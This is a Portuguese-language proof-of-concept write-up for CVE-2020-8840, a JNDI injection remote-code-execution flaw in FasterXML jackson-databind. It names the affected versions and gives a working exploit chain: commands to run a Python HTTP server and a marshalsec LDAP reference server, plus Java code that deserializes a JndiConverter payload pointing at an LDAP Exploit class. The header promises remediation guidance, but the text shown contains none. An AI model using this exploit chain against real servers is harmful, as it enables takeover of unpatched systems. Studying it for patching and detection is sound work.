
Exploit PoC para CVE-2020-8840: injeção JNDI levando a execução remota de código no FasterXML jackson-databind. Inclui configuração de ambiente, cadeia de exploit e orientação de remediação.
O jackson-databind é uma biblioteca de processamento JSON pertencente ao grupo de projetos FasterXML.
Em 19 de fevereiro, o NVD divulgou um aviso de segurança sobre uma vulnerabilidade de execução remota de código no jackson-databind causada por injeção JNDI (CVE-2020-8840), com pontuação CVSS de 9,8. Em versões afetadas do jackson-databind, devido à falta de algumas classes da lista negra xbean-reflect/JNDI, como org.apache.xbean.propertyeditor.JndiConverter, um atacante pode usar injeção JNDI para realizar execução remota de código. Se bem-sucedido, o ataque pode obter controle do servidor (nível de serviço Web).
2.0.0 <= Versão do FasterXML jackson-databind <= 2.9.10.2

Aqui usamos simplehttp para montar o serviço webpython -m SimpleHTTPServer 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit


poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
